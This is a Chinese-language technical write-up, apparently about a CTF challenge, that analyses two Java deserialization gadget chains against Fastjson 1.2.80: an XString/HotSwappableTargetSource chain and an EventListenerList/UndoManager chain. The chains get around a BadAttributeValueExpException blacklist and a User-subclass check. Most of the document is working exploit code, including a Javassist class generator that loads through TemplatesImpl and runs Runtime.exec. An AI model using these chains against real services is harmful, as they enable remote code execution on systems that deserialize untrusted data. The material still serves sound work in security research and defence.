高版本Fastjson反序列化Xtring新链和EventListenerList绕过
字数 1107 2025-08-22 18:37:14

Fastjson高版本反序列化利用链分析与绕过技术

前言

Fastjson反序列化原生利用通常需要找到一个能够触发readObject的类,调用toString方法,进而调用toJSONString方法,最终通过getter方法实现反序列化利用。经典利用链如下:

BadAttributeValueExpException#readObject -> JSONArray#toString -> JSONArray#toJSONString -> getter

但在实际环境中,当BadAttributeValueExpException被过滤且Fastjson版本较高时,需要寻找新的利用链。

题目分析

题目限制条件

  1. 禁用了BadAttributeValueExpException
  2. 反序列化的类必须是User的子类
  3. 使用Fastjson 1.2.80高版本

关键源码

public class User implements Serializable {
    public String name;
    public Map info;
    // getter和setter方法
}

static Object deserialize(String data) throws Exception {
    return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) {
        boolean check = false;
        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
            Class<?> targetc = super.resolveClass(desc);
            if(!this.check && !User.class.isAssignableFrom(targetc)) {
                throw new IllegalArgumentException("HackerClass:" + targetc);
            } else if(BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
                throw new IllegalArgumentException("HackerClass:" + targetc);
            } else {
                this.check = true;
                return targetc;
            }
        }
    }.readObject();
}

利用链分析

1. XString利用链

链式调用

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

关键点

  1. HotSwappableTargetSource是Spring AOP中的类,其equals方法会调用成员属性targetequals方法
  2. XString#equals方法中会调用传入对象的toString方法
  3. 通过构造特殊的HashMap和XString对象,可以触发JSON的toString方法

利用代码

public static HashMap getXString(Object obj) throws Exception {
    XString xstring = new XString("");
    HashMap hashMap1 = new HashMap();
    HashMap hashMap2 = new HashMap();
    hashMap1.put("yy", xstring);
    hashMap1.put("zZ", obj);
    hashMap2.put("zZ", xstring);
    hashMap2.put("yy", obj);
    HashMap hashMap = new HashMap();
    hashMap.put(hashMap1, 1);
    hashMap.put(hashMap2, 2);
    return hashMap;
}

public static Object getPayload() throws Exception {
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
    setValue(templates, "_name", "xxx");
    setValue(templates, "_tfactory", null);
    
    List<Object> arrays = new ArrayList<>();
    arrays.add(templates);
    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templates);
    arrays.add(getXString(jsonArray));
    
    Map<String, Object> map = new HashMap<>();
    map.put("yy", arrays);
    
    User user = new User();
    user.setInfo(map);
    return user;
}

2. EventListenerList利用链

链式调用

EventListenerList --> UndoManager#toString() --> Vector#toString() --> JSONArray#toString -> JSONArray#toJSONString -> getter#toString

关键点

  1. EventListenerListtoString方法会遍历其listenerList数组
  2. 通过UndoManagertoString方法触发VectortoString
  3. VectortoString会调用其元素的toString方法

利用代码

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
    setValue(templates, "_name", "xxx");
    setValue(templates, "_tfactory", null);
    
    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templates);
    
    EventListenerList eventListenerList = new EventListenerList();
    UndoManager undoManager = new UndoManager();
    Vector vector = (Vector) getFieldValue(undoManager, "edits");
    vector.add(jsonArray);
    
    setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
    
    HashMap hashMap = new HashMap();
    hashMap.put(templates, eventListenerList);
    
    User user = new User();
    user.setInfo(hashMap);
    byte[] bytes = serialize(user);
    deserialize(Base64.getEncoder().encodeToString(bytes));
}

技术细节

恶意类生成

public static byte[] genPayload(String cmd) throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.makeClass("a");
    CtClass superClass = pool.get(AbstractTranslet.class.getName());
    clazz.setSuperclass(superClass);
    CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
    constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
    clazz.addConstructor(constructor);
    clazz.getClassFile().setMajorVersion(49);
    return clazz.toBytecode();
}

TemplatesImpl利用

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);

反射工具方法

public static void setValue(Object obj, String name, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(name);
    field.setAccessible(true);
    field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
    final Field field = getField(obj.getClass(), fieldName);
    return field.get(obj);
}

防御与绕过技巧

  1. 绕过BadAttributeValueExpException过滤:使用HotSwappableTargetSourceEventListenerList等替代类
  2. User类限制:将恶意对象放入User类的Map属性中
  3. 高版本Fastjson:使用引用绕过技术,如将恶意对象放入JSONArray中

总结

本文分析了两种绕过Fastjson高版本限制的反序列化利用链:

  1. XString链:利用HashMap和XString的equals方法触发toString
  2. EventListenerList链:通过Swing组件的事件监听机制触发toString

这两种方法都成功绕过了对BadAttributeValueExpException的限制,并且符合必须是User子类的要求。在实际渗透测试中,需要根据目标环境的具体依赖和限制条件选择合适的利用链。

Fastjson高版本反序列化利用链分析与绕过技术 前言 Fastjson反序列化原生利用通常需要找到一个能够触发 readObject 的类,调用 toString 方法,进而调用 toJSONString 方法,最终通过getter方法实现反序列化利用。经典利用链如下: 但在实际环境中,当 BadAttributeValueExpException 被过滤且Fastjson版本较高时,需要寻找新的利用链。 题目分析 题目限制条件 禁用了 BadAttributeValueExpException 类 反序列化的类必须是 User 的子类 使用Fastjson 1.2.80高版本 关键源码 利用链分析 1. XString利用链 链式调用 关键点 HotSwappableTargetSource 是Spring AOP中的类,其 equals 方法会调用成员属性 target 的 equals 方法 XString#equals 方法中会调用传入对象的 toString 方法 通过构造特殊的HashMap和XString对象,可以触发JSON的 toString 方法 利用代码 2. EventListenerList利用链 链式调用 关键点 EventListenerList 的 toString 方法会遍历其 listenerList 数组 通过 UndoManager 的 toString 方法触发 Vector 的 toString Vector 的 toString 会调用其元素的 toString 方法 利用代码 技术细节 恶意类生成 TemplatesImpl利用 反射工具方法 防御与绕过技巧 绕过BadAttributeValueExpException过滤 :使用 HotSwappableTargetSource 或 EventListenerList 等替代类 User类限制 :将恶意对象放入User类的Map属性中 高版本Fastjson :使用引用绕过技术,如将恶意对象放入JSONArray中 总结 本文分析了两种绕过Fastjson高版本限制的反序列化利用链: XString链 :利用HashMap和XString的equals方法触发toString EventListenerList链 :通过Swing组件的事件监听机制触发toString 这两种方法都成功绕过了对 BadAttributeValueExpException 的限制,并且符合必须是 User 子类的要求。在实际渗透测试中,需要根据目标环境的具体依赖和限制条件选择合适的利用链。